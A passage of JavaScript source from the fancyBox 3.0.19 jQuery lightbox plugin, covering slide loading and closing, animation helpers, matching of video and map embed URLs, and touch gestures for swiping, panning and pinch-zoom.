}
slide.isLoading = false;
slide.isLoaded = true;
self.trigger( 'afterLoad', slide );
self.hideLoading( slide );
// Resize content to fit inside slide
// Do not update in case we have $ghost element - user might have already zoomed/swiped
if ( !slide.$ghost ) {
self.updateSlide( slide, true );
}
if ( slide.index === self.currIndex ) {
if ( slide.isMoved ) {
self.complete();
} else {
self.revealImage( slide );
}
// Load next and previous image if needed
if ( self.slides[ self.currPos + 1 ] && self.slides[ self.currPos + 1 ].type === 'image' ) {
self.loadSlide( self.slides[ self.currPos + 1 ] );
}
if ( self.slides[ self.currPos - 1 ] && self.slides[ self.currPos - 1 ].type === 'image' ) {
self.loadSlide( self.slides[ self.currPos - 1 ] );
}
} else {
self.revealImage( slide );
}
},
// Final adjustments after current gallery item is moved to position
// and it`s content is loaded
// ==================================================================
complete : function() {
var self = this;
var curent = self.current;
curent.isComplete = true;
self.trigger( 'onComplete' );
if ( !(self.allowZoomIn && self.zoomIn() ) ) {
self.isOpening = false;
self.revealImage( curent );
}
curent.$slide.addClass('fancybox-slide--complete');
if ( self.opts.focus ) {
self.focus();
}
},
// Try to find and focus on the first focusable element
// ====================================================
focus : function() {
var $el = this.current && this.current.isComplete ? this.current.$slide.find('button,:input,[tabindex],a:not(".disabled")').filter(':visible:first') : null;
if ( !$el || !$el.length ) {
$el = this.$refs.container;
}
$el.focus();
// Scroll position of wrapper element sometimes changes after focusing (IE)
this.$refs.slider_wrap.scrollLeft(0);
// And the same goes for slide element
if ( this.current ) {
this.current.$slide.scrollTop(0);
}
},
// Activates current instance - brings container to the front and enables keyboard,
// notifies other instances about deactivating
// =================================================================================
activate : function () {
var self = this;
// Deactivate all instances
$( '.fancybox-container' ).each(function () {
var instance = $(this).data( 'FancyBox' );
// Skip self and closing instances
if (instance && instance.uid !== self.uid && !instance.isClosing) {
instance.trigger( 'onDeactivate' );
}
});
if ( self.current ) {
if ( self.$refs.container.index() > 0 ) {
self.$refs.container.prependTo( document.body );
}
self.updateControls();
}
self.trigger( 'onActivate' );
self.addEvents();
},
// Start closing procedure
// This will start "zoom-out" animation if needed and clean everything up afterwards
// =================================================================================
close : function( e ) {
var self = this;
var current = self.current;
var done = $.proxy(function() {
self.cleanUp( e ); // Now "this" is again our instance
}, this);
if ( self.isAnimating || self.isClosing ) {
return false;
}
self.isClosing = true;
if ( current.timouts ) {
clearTimeout( current.timouts );
}
if ( e !== true) {
$.fancybox.stop( self.$refs.slider );
}
self.$refs.container
.removeClass('fancybox-container--active')
.addClass('fancybox-container--closing');
current.$slide
.removeClass('fancybox-slide--complete')
.siblings()
.remove();
if ( !current.isMoved ) {
current.$slide.css('overflow', 'visible');
}
// Remove all events
// If there are multiple instances, they will be set again by "activate" method
self.removeEvents();
// Clean up
self.hideLoading( current );
self.hideControls();
self.updateCursor();
self.trigger( 'beforeClose', current, e );
if ( e === true) {
setTimeout( done, current.opts.speed );
this.$refs.container.removeClass( 'fancybox-container--ready' );
} else if ( !self.zoomOut( done ) ) {
$.fancybox.animate( self.$refs.container, null, { opacity : 0 }, current.opts.speed, "easeInSine", done );
}
},
// Final adjustments after removing the instance
// =============================================
cleanUp : function( e ) {
var self = this,
instance;
self.$refs.slider.children().trigger( 'onReset' );
self.$refs.container.empty().remove();
self.current = null;
self.trigger( 'afterClose', e);
// Check if there are other instances
instance = $.fancybox.getInstance();
if ( instance ) {
instance.activate();
} else {
$( 'body' ).removeClass( 'fancybox-enabled' );
$( '#fancybox-noscroll' ).remove();
}
// Place back focus
if ( self.$lastFocus ) {
self.$lastFocus.focus();
}
$W.scrollTop( self.scrollTop ).scrollLeft( self.scrollLeft );
},
// Call callback and trigger an event
// ==================================
trigger : function( name, slide ) {
var args = Array.prototype.slice.call(arguments, 1),
self = this,
obj = slide && slide.opts ? slide : self.current;
if ( obj ) {
args.unshift( obj );
} else {
obj = self;
}
args.unshift( self );
if ( $.isFunction( obj.opts[ name ] ) ) {
obj.opts[ name ].apply( obj, args );
}
self.$refs.container.trigger( name + '.fb', args);
},
// Toggle toolbar and caption
// ==========================
toggleControls : function( force ) {
if ( this.isHiddenControls ) {
this.updateControls( force );
} else {
this.hideControls();
}
},
// Hide toolbar and caption
// ========================
hideControls : function () {
this.isHiddenControls = true;
this.$refs.container.removeClass('fancybox-show-controls');
this.$refs.container.removeClass('fancybox-show-caption');
},
// Update infobar values, navigation button states and reveal caption
// ==================================================================
updateControls : function ( force ) {
var self = this;
var $container = self.$refs.container;
var $caption = self.$refs.caption;
// Toggle infobar and buttons
var current = self.current;
var index = current.index;
var opts = current.opts;
var caption = opts.caption;
if ( this.isHiddenControls && force !== true ) {
return;
}
this.isHiddenControls = false;
self.$refs.container.addClass('fancybox-show-controls');
$container
.toggleClass('fancybox-show-infobar', !!opts.infobar && self.group.length > 1)
.toggleClass('fancybox-show-buttons', !!opts.buttons )
.toggleClass('fancybox-is-modal', !!opts.modal );
$('.fancybox-button--left', $container).toggleClass( 'fancybox-button--disabled', (!opts.loop && index <= 0 ) );
$('.fancybox-button--right', $container).toggleClass( 'fancybox-button--disabled', (!opts.loop && index >= self.group.length - 1) );
$('.fancybox-button--play', $container).toggle( !!( opts.slideShow && self.group.length > 1) );
$('.fancybox-button--close', $container).toggle( !!opts.closeBtn );
// Update infobar values
$('.js-fancybox-count', $container).html( self.group.length );
$('.js-fancybox-index', $container).html( index + 1 );
// Recalculate content dimensions
current.$slide.trigger( 'refresh' );
// Reveal or create new caption
if ( $caption ) {
$caption.empty();
}
if ( caption && caption.length ) {
$caption.html( caption );
this.$refs.container.addClass( 'fancybox-show-caption ');
self.$caption = $caption;
} else {
this.$refs.container.removeClass( 'fancybox-show-caption' );
}
}
});
$.fancybox = {
version : "3.0.19",
defaults : defaults,
// Get current instance and execute a command.
//
// Examples of usage:
//
// $instance = $.fancybox.getInstance();
// $.fancybox.getInstance().jumpTo( 1 );
// $.fancybox.getInstance( 'jumpTo', 1 );
// $.fancybox.getInstance( function() {
// console.info( this.currIndex );
// });
// ======================================================
getInstance : function ( command ) {
var instance = $('.fancybox-container:not(".fancybox-container--closing"):first').data( 'FancyBox' );
var args = Array.prototype.slice.call(arguments, 1);
if ( instance instanceof FancyBox ) {
if ( $.type( command ) === 'string' ) {
instance[ command ].apply( instance, args );
} else if ( $.type( command ) === 'function' ) {
command.apply( instance, args );
}
return instance;
}
return false;
},
// Create new instance
// ===================
open : function ( items, opts, index ) {
return new FancyBox( items, opts, index );
},
// Close current or all instances
// ==============================
close : function ( all ) {
var instance = this.getInstance();
if ( instance ) {
instance.close();
// Try to find and close next instance
if ( all === true ) {
this.close();
}
}
},
// Test for the existence of touch events in the browser
// Limit to mobile devices
// ====================================================
isTouch : document.createTouch !== undefined && /Android|webOS|iPhone|iPad|iPod|BlackBerry/i.test(navigator.userAgent),
// Detect if 'translate3d' support is available
// ============================================
use3d : (function() {
var div = document.createElement('div');
return window.getComputedStyle( div ).getPropertyValue('transform') && !(document.documentMode && document.documentMode <= 11);
}()),
// Helper function to get current visual state of an element
// returns array[ top, left, horizontal-scale, vertical-scale, opacity ]
// =====================================================================
getTranslate : function( $el ) {
var position, matrix;
if ( !$el || !$el.length ) {
return false;
}
position = $el.get( 0 ).getBoundingClientRect();
matrix = $el.eq( 0 ).css('transform');
if ( matrix && matrix.indexOf( 'matrix' ) !== -1 ) {
matrix = matrix.split('(')[1];
matrix = matrix.split(')')[0];
matrix = matrix.split(',');
} else {
matrix = [];
}
if ( matrix.length ) {
// If IE
if ( matrix.length > 10 ) {
matrix = [ matrix[13], matrix[12], matrix[0], matrix[5] ];
} else {
matrix = [ matrix[5], matrix[4], matrix[0], matrix[3]];
}
matrix = matrix.map(parseFloat);
} else {
matrix = [ 0, 0, 1, 1 ];
}
return {
top : matrix[ 0 ],
left : matrix[ 1 ],
scaleX : matrix[ 2 ],
scaleY : matrix[ 3 ],
opacity : parseFloat( $el.css('opacity') ),
width : position.width,
height : position.height
};
},
// Shortcut for setting "translate3d" properties for element
// Can set be used to set opacity, too
// ========================================================
setTranslate : function( $el, props ) {
var str = '';
var css = {};
if ( !$el || !props ) {
return;
}
if ( props.left !== undefined || props.top !== undefined ) {
str = ( props.left === undefined ? $el.position().top : props.left ) + 'px, ' + ( props.top === undefined ? $el.position().top : props.top ) + 'px';
if ( this.use3d ) {
str = 'translate3d(' + str + ', 0px)';
} else {
str = 'translate(' + str + ')';
}
}
if ( props.scaleX !== undefined && props.scaleY !== undefined ) {
str = (str.length ? str + ' ' : '') + 'scale(' + props.scaleX + ', ' + props.scaleY + ')';
}
if ( str.length ) {
css.transform = str;
}
if ( props.opacity !== undefined ) {
css.opacity = props.opacity;
}
if ( props.width !== undefined ) {
css.width = props.width;
}
if ( props.height !== undefined ) {
css.height = props.height;
}
return $el.css( css );
},
// Common easings for entrances and exits
// t: current time, b: begInnIng value, c: change In value, d: duration
// ====================================================================
easing : {
easeOutCubic : function (t, b, c, d) {
return c * ((t=t/d-1)*t*t + 1) + b;
},
easeInCubic : function (t, b, c, d) {
return c * (t/=d)*t*t + b;
},
easeOutSine : function (t, b, c, d) {
return c * Math.sin(t/d * (Math.PI/2)) + b;
},
easeInSine : function (t, b, c, d) {
return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
}
},
// Stop fancyBox animation
// =======================
stop : function( $el ) {
$el.removeData( 'animateID' );
},
// Animate element using "translate3d"
// Usage:
// animate( element, start properties, end properties, duration, easing, callback )
// or
// animate( element, start properties, end properties, duration, callback )
// =================================================================================
animate : function( $el, from, to, duration, easing, done ) {
var self = this;
var lastTime = null;
var animTime = 0;
var curr;
var diff;
var id;
var frame = function ( timestamp ) {
curr = [];
diff = 0;
// If "stop" method has been called on this element, then just stop
if ( !$el.length || $el.data( 'animateID' ) !== id ) {
return;
}
timestamp = timestamp || Date.now();
if ( lastTime ) {
diff = timestamp - lastTime;
}
lastTime = timestamp;
animTime += diff;
// Are we done?
if ( animTime >= duration ) {
if ( to.scaleX !== undefined && to.scaleY !== undefined && from.width !== undefined && from.height !== undefined ) {
to.width = from.width * to.scaleX;
to.height = from.height * to.scaleY;
to.scaleX = 1;
to.scaleY = 1;
}
self.setTranslate( $el, to );
done();
return;
}
for ( var prop in to ) {
if ( to.hasOwnProperty( prop ) && from[ prop ] !== undefined ) {
if ( from[ prop ] == to[ prop ] ) {
curr[ prop ] = to[ prop ];
} else {
curr[ prop ] = self.easing[ easing ]( animTime, from[ prop ], to[ prop ] - from[ prop ], duration );
}
}
}
self.setTranslate( $el, curr );
requestAFrame( frame );
};
self.animateID = id = self.animateID === undefined ? 1 : self.animateID + 1;
$el.data( 'animateID', id );
if ( done === undefined && $.type(easing) == 'function' ) {
done = easing;
easing = undefined;
}
if ( !easing ) {
easing = "easeOutCubic";
}
done = done || $.noop;
if ( !duration ) {
this.setTranslate( $el, to );
done();
return;
}
if ( from ) {
this.setTranslate( $el, from );
} else {
// We need current values to calculate change in time
from = this.getTranslate( $el );
}
$el.show();
requestAFrame( frame );
}
};
// Event handler for click event to "fancyboxed" links
// ===================================================
function _run( e ) {
var target = e.currentTarget,
opts = e.data ? e.data.options : {},
items = e.data ? e.data.items : [],
value = '',
index = 0;
e.preventDefault();
e.stopPropagation();
// Get all related items and find index for clicked one
if ( $(target).attr( 'data-fancybox' ) ) {
value = $(target).data( 'fancybox' );
}
if ( value ) {
items = items.length ? items.filter( '[data-fancybox="' + value + '"]' ) : $( '[data-fancybox=' + value + ']' );
index = items.index( target );
} else {
items = [ target ];
}
$.fancybox.open( items, opts, index );
}
// Create a jQuery plugin
// ======================
$.fn.fancybox = function (options) {
this.off('click.fb-start').on('click.fb-start', {
items : this,
options : options || {}
}, _run);
return this;
};
// Self initializing plugin
// ========================
$(document).on('click.fb-start', '[data-fancybox]', _run);
}(window, document, window.jQuery));
// ==========================================================================
//
// Media
// Adds additional media type support
//
// ==========================================================================
;(function ($) {
'use strict';
// Formats matching url to final form
var format = function (url, rez, params) {
if (!url) {
return;
}
params = params || '';
if ($.type(params) === "object") {
params = $.param(params, true);
}
$.each(rez, function (key, value) {
url = url.replace('$' + key, value || '');
});
if (params.length) {
url += (url.indexOf('?') > 0 ? '&' : '?') + params;
}
return url;
};
// Object containing properties for each media type
var media = {
youtube: {
matcher: /(youtube\.com|youtu\.be|youtube\-nocookie\.com)\/(watch\?(.*&)?v=|v\/|u\/|embed\/?)?(videoseries\?list=(.*)|[\w-]{11}|\?listType=(.*)&list=(.*))(.*)/i,
params: {
autoplay: 1,
autohide: 1,
fs: 1,
rel: 0,
hd: 1,
wmode: 'transparent',
enablejsapi: 1,
html5: 1
},
paramPlace : 8,
type: 'iframe',
url: '//www.youtube.com/embed/$4',
thumb: '//img.youtube.com/vi/$4/hqdefault.jpg'
},
vimeo: {
matcher: /((player\.)?vimeo(pro)?\.com)\/(video\/)?([\d]+)?(\?(.*))?/,
params: {
autoplay: 1,
hd: 1,
show_title: 1,
show_byline: 1,
show_portrait: 0,
fullscreen: 1,
api: 1
},
paramPlace : 7,
type: 'iframe',
url: '//player.vimeo.com/video/$5'
},
metacafe: {
matcher: /metacafe.com\/watch\/(\d+)\/(.*)?/,
type: 'iframe',
url: '//www.metacafe.com/embed/$1/?ap=1'
},
dailymotion: {
matcher: /dailymotion.com\/video\/(.*)\/?(.*)/,
params: {
additionalInfos: 0,
autoStart: 1
},
type: 'iframe',
url: '//www.dailymotion.com/embed/video/$1'
},
vine: {
matcher: /vine.co\/v\/([a-zA-Z0-9\?\=\-]+)/,
type: 'iframe',
url: '//vine.co/v/$1/embed/simple'
},
instagram: {
matcher: /(instagr\.am|instagram\.com)\/p\/([a-zA-Z0-9_\-]+)\/?/i,
type: 'image',
url: '//$1/p/$2/media/?size=l'
},
// Examples:
// http://maps.google.com/?ll=48.857995,2.294297&spn=0.007666,0.021136&t=m&z=16
// http://maps.google.com/?ll=48.857995,2.294297&spn=0.007666,0.021136&t=m&z=16
// https://www.google.lv/maps/place/Googleplex/@37.4220041,-122.0833494,17z/data=!4m5!3m4!1s0x0:0x6c296c66619367e0!8m2!3d37.4219998!4d-122.0840572
google_maps: {
matcher: /(maps\.)?google\.([a-z]{2,3}(\.[a-z]{2})?)\/(((maps\/(place\/(.*)\/)?\@(.*),(\d+.?\d+?)z))|(\?ll=))(.*)?/i,
type: 'iframe',
url: function (rez) {
return '//maps.google.' + rez[2] + '/?ll=' + ( rez[9] ? rez[9] + '&z=' + Math.floor( rez[10] ) + ( rez[12] ? rez[12].replace(/^\//, "&") : '' ) : rez[12] ) + '&output=' + ( rez[12] && rez[12].indexOf('layer=c') > 0 ? 'svembed' : 'embed' );
}
}
};
$(document).on('onInit.fb', function (e, instance) {
$.each(instance.group, function( i, item ) {
var url = item.src || '',
type = false,
thumb,
rez,
params,
urlParams,
o,
id,
provider;
// Skip items that already have content type
if ( item.type ) {
return;
}
// Look for any matching media type
$.each(media, function ( n, el ) {
rez = url.match(el.matcher);
o = {};
provider = n;
if (!rez) {
return;
}
type = el.type;
if ( el.paramPlace && rez[ el.paramPlace ] ) {
urlParams = rez[ el.paramPlace ];
if ( urlParams[ 0 ] == '?') {
urlParams = urlParams.substring(1);
}
urlParams = urlParams.split('&');
for ( var m = 0; m < urlParams.length; ++m ) {
var p = urlParams[ m ].split('=', 2);
if ( p.length == 2 ) {
o[ p[0] ] = decodeURIComponent( p[1].replace(/\+/g, " ") );
}
}
}
if ( el.idPlace ) {
id = rez[ el.idPlace ];
}
params = $.extend( true, {}, el.params, item.opts[ n ], o );
url = $.type(el.url) === "function" ? el.url.call(this, rez, params, item) : format(el.url, rez, params);
thumb = $.type(el.thumb) === "function" ? el.thumb.call(this, rez, params, item) : format(el.thumb, rez);
return false;
});
// If it is found, then change content type and update the url
if ( type ) {
item.src = url;
item.type = type;
if ( !item.opts.thumb && !(item.opts.$thumb && item.opts.$thumb.length ) ) {
item.opts.thumb = thumb;
}
if ( id ) {
item.opts.id = provider + '-' + id;
}
if ( type === 'iframe' ) {
$.extend(true, item.opts, {
iframe : {
preload : false,
scrolling : "no"
},
smallBtn : false,
closeBtn : true,
fullScreen : false,
slideShow : false
});
item.opts.slideClass += ' fancybox-slide--video';
}
} else {
// If no content type is found, then set it to `iframe` as fallback
item.type = 'iframe';
}
});
});
}(window.jQuery));
// ==========================================================================
//
// Guestures
// Adds touch guestures, handles click and tap events
//
// ==========================================================================
;(function (window, document, $) {
'use strict';
var requestAFrame = (function() {
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
function( callback ) {
window.setTimeout(callback, 1000 / 60); };
})();
var pointers = function( e ) {
var result = [];
e = e.originalEvent || e || window.e;
e = e.touches && e.touches.length ? e.touches : ( e.changedTouches && e.changedTouches.length ? e.changedTouches : [ e ] );
for ( var key in e ) {
if ( e[ key ].pageX ) {
result.push( { x : e[ key ].pageX, y : e[ key ].pageY } );
} else if ( e[ key ].clientX ) {
result.push( { x : e[ key ].clientX, y : e[ key ].clientY } );
}
}
return result;
};
var distance = function( point2, point1, what ) {
if ( what === 'x' ) {
return point2.x - point1.x;
} else if ( what === 'y' ) {
return point2.y - point1.y;
}
return Math.sqrt( Math.pow( point2.x - point1.x, 2 ) + Math.pow( point2.y - point1.y, 2 ) );
};
var isClickable = function( $el ) {
return $el.is('a') || $el.is('button') || $el.is('input') || $el.is('select') || $el.is('textarea') || $.isFunction( $el.get(0).onclick );
};
var hasScrollbars = function( el ) {
var overflowY = window.getComputedStyle( el )['overflow-y'];
var overflowX = window.getComputedStyle( el )['overflow-x'];
var vertical = (overflowY === 'scroll' || overflowY === 'auto') && el.scrollHeight > el.clientHeight;
var horizontal = (overflowX === 'scroll' || overflowX === 'auto') && el.scrollWidth > el.clientWidth;
return vertical || horizontal;
};
var isScrollable = function ( $el ) {
var rez = false;
while ( true ) {
rez = hasScrollbars( $el.get(0) );
if ( rez ) {
break;
}
$el = $el.parent();
if ( !$el.length || $el.hasClass('fancybox-slider') || $el.is('body') ) {
break;
}
}
return rez;
};
var Guestures = function ( instance ) {
var self = this;
self.instance = instance;
self.$wrap = instance.$refs.slider_wrap;
self.$slider = instance.$refs.slider;
self.$container = instance.$refs.container;
self.destroy();
self.$wrap.on('touchstart.fb mousedown.fb', $.proxy(self, "ontouchstart"));
};
Guestures.prototype.destroy = function() {
this.$wrap.off('touchstart.fb mousedown.fb touchmove.fb mousemove.fb touchend.fb touchcancel.fb mouseup.fb mouseleave.fb');
};
Guestures.prototype.ontouchstart = function( e ) {
var self = this;
var $target = $( e.target );
var instance = self.instance;
var current = instance.current;
var $content = current.$content || current.$placeholder;
var frame = function() {
if ( self.sliderNewPos ) {
$.fancybox.setTranslate( self.$slider, self.sliderNewPos );
self.sliderNewPos = null;
}
if ( self.contentNewPos ) {
$.fancybox.setTranslate( self.$content, self.contentNewPos );
self.contentNewPos = null;
}
if ( self.isSwiping || self.isPanning || self.isZooming ) {
requestAFrame( frame );
}
};
// Ignore taping on links, buttons and scrollable items
if ( isClickable( $target ) || isClickable( $target.parent() ) || ( isScrollable( $target ) && !$target.hasClass('fancybox-slide') ) ) {
return;
}
e.stopPropagation();
e.preventDefault();
if ( !current || self.instance.isAnimating || self.instance.isClosing ) {
return;
}
self.startPoints = pointers( e );
// Prevent zooming if already swiping
if ( self.startPoints.length > 1 && !current.isMoved ) {
return;
}
self.$wrap.off('touchmove.fb mousemove.fb', $.proxy(self, "ontouchmove"));
self.$wrap.off('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb', $.proxy(self, "ontouchend"));
self.$wrap.on('touchmove.fb mousemove.fb', $.proxy(self, "ontouchmove"));
self.$wrap.on('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb', $.proxy(self, "ontouchend"));
self.$target = $target;
self.$content = $content;
self.startTime = new Date().getTime();
self.distanceX = self.distanceY = self.distance = 0;
self.canvasWidth = Math.round( current.$slide.width() );
self.canvasHeight = Math.round( current.$slide.height() );
self.canTap = current.isMoved;
self.isPanning = false;
self.isSwiping = false;
self.isZooming = false;
self.sliderStartPos = $.fancybox.getTranslate( self.$slider );
self.sliderNewPos = null;
self.contentStartPos = $.fancybox.getTranslate( self.$content );
self.contentNewPos = null;
if ( self.startPoints.length == 1 ) {
if ( current.type === 'image' && ( self.contentStartPos.width > self.canvasWidth + 1 || self.contentStartPos.height > self.canvasHeight + 1 ) ) {
$.fancybox.stop( self.$content );
self.isPanning = true;
} else {
$.fancybox.stop( self.$slider );
self.isSwiping = true;
}
self.$container.addClass('fancybox-controls--isGrabbing');
}
if ( current.type === 'image' && !current.hasError && self.startPoints.length == 2 && ( current.isLoaded || current.$ghost ) ) {
self.isZooming = true;
self.canTap = false;
$.fancybox.stop( self.$content );
self.centerPointStartX = ((self.startPoints[0].x + self.startPoints[1].x) / 2) - $(window).scrollLeft();
self.centerPointStartY = ((self.startPoints[0].y + self.startPoints[1].y) / 2) - $(window).scrollTop();
self.percentageOfImageAtPinchPointX = ( self.centerPointStartX - self.contentStartPos.left ) / self.contentStartPos.width;
self.percentageOfImageAtPinchPointY = ( self.centerPointStartY - self.contentStartPos.top ) / self.contentStartPos.height;
self.startDistanceBetweenFingers = distance( self.startPoints[0], self.startPoints[1] );
}
frame();
};
Guestures.prototype.ontouchmove = function( e ) {
var self = this;
e.preventDefault();
if ( self.instance.isAnimating ) {
return;
}
self.newPoints = pointers( e );
if ( !self.newPoints.length ) {
return;
}
self.distanceX = distance( self.newPoints[0], self.startPoints[0], 'x' );
self.distanceY = distance( self.newPoints[0], self.startPoints[0], 'y' );
self.distance = distance( self.newPoints[0], self.startPoints[0] );
// Skip false ontouchmove events (Chrome)
if ( self.distance > 0 ) {
if ( self.isSwiping ) {
self.onSwipe();
} else if ( self.isPanning ) {
self.onPan();
} else if ( self.isZooming ) {
self.onZoom();
}
}
};
Guestures.prototype.onSwipe = function() {
var self = this;
var swiping = self.isSwiping;
var angle;
if ( swiping === true ) {
if ( Math.abs( self.distance ) > 10 ) {
angle = Math.abs( Math.atan2( self.distanceY, self.distanceX ) * 180 / Math.PI );
swiping = ( angle > 45 && angle < 135 ) || self.instance.group.length <= 1 ? 'y' : 'x';
if ( self.instance.opts.touch.vertical === false || ( self.instance.opts.touch.vertical === 'auto' && $( window ).width() > 800 ) ) {
swiping = 'x';
}
self.isSwiping = swiping;
self.canTap = false;
self.instance.current.isMoved = false;
self.instance.allowZoomIn = false;
// Reset points to avoid jumping, because we dropped first swipes to calculate the angle
self.startPoints = self.newPoints;
}
} else {
self.sliderNewPos = {
top : swiping == 'x' ? 0 : self.sliderStartPos.top + self.distanceY,
left : swiping == 'y' ? self.sliderStartPos.left : self.sliderStartPos.left + self.distanceX
};
}
};
Guestures.prototype.onPan = function() {
var self = this;
var newOffsetX, newOffsetY, newPos;
self.canTap = false;
if ( self.contentStartPos.width > self.canvasWidth ) {
newOffsetX = self.contentStartPos.left + self.distanceX;
} else {
newOffsetX = self.contentStartPos.left;
}
newOffsetY = self.contentStartPos.top + self.distanceY;
newPos = self.limitMovement( newOffsetX, newOffsetY, self.contentStartPos.width, self.contentStartPos.height );
newPos.scaleX = self.contentStartPos.scaleX;
newPos.scaleY = self.contentStartPos.scaleY;
self.contentNewPos = newPos;
self.contentLastPos = newPos;
};
// Make panning sticky to the edges
Guestures.prototype.limitMovement = function( newOffsetX, newOffsetY, newWidth, newHeight ) {
var self = this;
var minTranslateX, minTranslateY, maxTranslateX, maxTranslateY;
var canvasWidth = self.canvasWidth;
var canvasHeight = self.canvasHeight;
var currentOffsetX = self.contentStartPos.left;
var currentOffsetY = self.contentStartPos.top;
var distanceX = self.distanceX;
var distanceY = self.distanceY;
// Slow down proportionally to traveled distance
minTranslateX = Math.max(0, canvasWidth * 0.5 - newWidth * 0.5 );
minTranslateY = Math.max(0, canvasHeight * 0.5 - newHeight * 0.5 );
maxTranslateX = Math.min( canvasWidth - newWidth, canvasWidth * 0.5 - newWidth * 0.5 );
maxTranslateY = Math.min( canvasHeight - newHeight, canvasHeight * 0.5 - newHeight * 0.5 );
if ( newWidth > canvasWidth ) {
// ->
if ( distanceX > 0 && newOffsetX > minTranslateX ) {
newOffsetX = minTranslateX - 1 + Math.pow(-minTranslateX + currentOffsetX + distanceX, 0.8 ) || 0;
}
// <-
if ( distanceX < 0 && newOffsetX < maxTranslateX ) {
newOffsetX = maxTranslateX + 1 - Math.pow( maxTranslateX - currentOffsetX - distanceX, 0.8 ) || 0;
}
}
if ( newHeight > canvasHeight ) {
// \/
if ( distanceY > 0 && newOffsetY > minTranslateY ) {
newOffsetY = minTranslateY - 1 + Math.pow(-minTranslateY + currentOffsetY + distanceY, 0.8 ) || 0;
}
// /\
if ( distanceY < 0 && newOffsetY < maxTranslateY ) {
newOffsetY = maxTranslateY + 1 - Math.pow ( maxTranslateY - currentOffsetY - distanceY, 0.8 ) || 0;
}
}
return {
top : newOffsetY,
left : newOffsetX
};
};
Guestures.prototype.limitPosition = function( newOffsetX, newOffsetY, newWidth, newHeight ) {
var self = this;
var canvasWidth = self.canvasWidth;
var canvasHeight = self.canvasHeight;
if ( newWidth > canvasWidth ) {
newOffsetX = newOffsetX > 0 ? 0 : newOffsetX;
newOffsetX = newOffsetX < canvasWidth - newWidth ? canvasWidth - newWidth : newOffsetX;
} else {
// Center horizontally
newOffsetX = Math.max( 0, canvasWidth / 2 - newWidth / 2 );
}
if ( newHeight > canvasHeight ) {
newOffsetY = newOffsetY > 0 ? 0 : newOffsetY;
newOffsetY = newOffsetY < canvasHeight - newHeight ? canvasHeight - newHeight : newOffsetY;
} else {
// Center vertically
newOffsetY = Math.max( 0, canvasHeight / 2 - newHeight / 2 );
}
return {
top : newOffsetY,
left : newOffsetX
};
};
Guestures.prototype.onZoom = function() {
var self = this;
// Calculate current distance between points to get pinch ratio and new width and height
var currentWidth = self.contentStartPos.width;
var currentHeight = self.contentStartPos.height;
var currentOffsetX = self.contentStartPos.left;
var currentOffsetY = self.contentStartPos.top;
var endDistanceBetweenFingers = distance( self.newPoints[0], self.newPoints[1] );
var pinchRatio = endDistanceBetweenFingers / self.startDistanceBetweenFingers;
var newWidth = Math.floor( currentWidth * pinchRatio );
var newHeight = Math.floor( currentHeight * pinchRatio );
// This is the translation due to pinch-zooming
var translateFromZoomingX = (currentWidth - newWidth) * self.percentageOfImageAtPinchPointX;
var translateFromZoomingY = (currentHeight - newHeight) * self.percentageOfImageAtPinchPointY;
//Point between the two touches
var centerPointEndX = ((self.newPoints[0].x + self.newPoints[1].x) / 2) - $(window).scrollLeft();
var centerPointEndY = ((self.newPoints[0].y + self.newPoints[1].y) / 2) - $(window).scrollTop();
// And this is the translation due to translation of the centerpoint
// between the two fingers
var translateFromTranslatingX = centerPointEndX - self.centerPointStartX;
var translateFromTranslatingY = centerPointEndY - self.centerPointStartY;
// The new offset is the old/current one plus the total translation
var newOffsetX = currentOffsetX + ( translateFromZoomingX + translateFromTranslatingX );
var newOffsetY = currentOffsetY + ( translateFromZoomingY + translateFromTranslatingY );
var newPos = {
top : newOffsetY,
left : newOffsetX,
scaleX : self.contentStartPos.scaleX * pinchRatio,
scaleY : self.contentStartPos.scaleY * pinchRatio
};
self.canTap = false;
self.newWidth = newWidth;
self.newHeight = newHeight;
self.contentNewPos = newPos;
self.contentLastPos = newPos;
};
Guestures.prototype.ontouchend = function( e ) {
var self = this;
var current = self.instance.current;
var dMs = Math.max( (new Date().getTime() ) - self.startTime, 1);
var swiping = self.isSwiping;
var panning = self.isPanning;
var zooming = self.isZooming;
self.endPoints = pointers( e );
if ( self.endPoints.length > 1 && ( self.isSwiping === 'x' || self.isSwiping === 'y' ) ) {
return;
}
self.$container.removeClass('fancybox-controls--isGrabbing');
self.$wrap.off('touchmove.fb mousemove.fb', $.proxy(this, "ontouchmove"));
self.$wrap.off('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb', $.proxy(this, "ontouchend"));
self.isSwiping = false;
self.isPanning = false;
self.isZooming = false;
if ( self.canTap ) {
return self.ontap();
}
// Speed in px/ms
self.velocityX = self.distanceX / dMs * 0.5;
self.velocityY = self.distanceY / dMs * 0.5;
self.speed = current.opts.speed;
self.speedX = Math.max( self.speed * 0.5, Math.min( self.speed * 1.5, ( 1 / Math.abs( self.velocityX ) ) * self.speed ) );
self.speedY = Math.max( self.speed * 0.5, Math.min( self.speed * 1.5, ( 1 / Math.abs( self.velocityY ) ) * self.speed ) );
if ( swiping ) {
self.endSwiping( swiping );
} else if ( panning ) {
self.endPanning();
} else if ( zooming ) {
self.endZooming();
}
return;
};
Guestures.prototype.endSwiping = function( swiping ) {
var self = this;
// Close if swiped vertically / navigate if horizontally
if ( swiping == 'y' && Math.abs( self.distanceY ) > 50 ) {
// Continue vertical movement
$.fancybox.animate( self.$slider, null, {
top : self.sliderStartPos.top + self.distanceY + self.velocityY * 150,
left : self.sliderStartPos.left,
opacity : 0
}, self.speedY );
self.instance.close( true );
} else if ( swiping == 'x' && self.distanceX > 50 ) {
self.instance.previous( self.speedX );
} else if ( swiping == 'x' && self.distanceX < -50 ) {
self.instance.next( self.speedX );
} else {
// Move back to center
self.instance.update( false, true, self.speedX );
}
};
Guestures.prototype.endPanning = function() {
var self = this;
var newOffsetX = self.contentLastPos.left + ( self.velocityX * self.speed * 2 );
var newOffsetY = self.contentLastPos.top + ( self.velocityY * self.speed * 2 );
var newPos = self.limitPosition( newOffsetX, newOffsetY, self.contentStartPos.width, self.contentStartPos.height );
newPos.width = self.contentStartPos.width;
newPos.height = self.contentStartPos.height;
$.fancybox.animate( self.$content, null, newPos, self.speed, "easeOutSine" );
};
Guestures.prototype.endZooming = function() {
var self = this;
var current = self.instance.current;
var newPos;
var newOffsetX = self.contentLastPos.left;
var newOffsetY = self.contentLastPos.top;
var newWidth = self.newWidth;
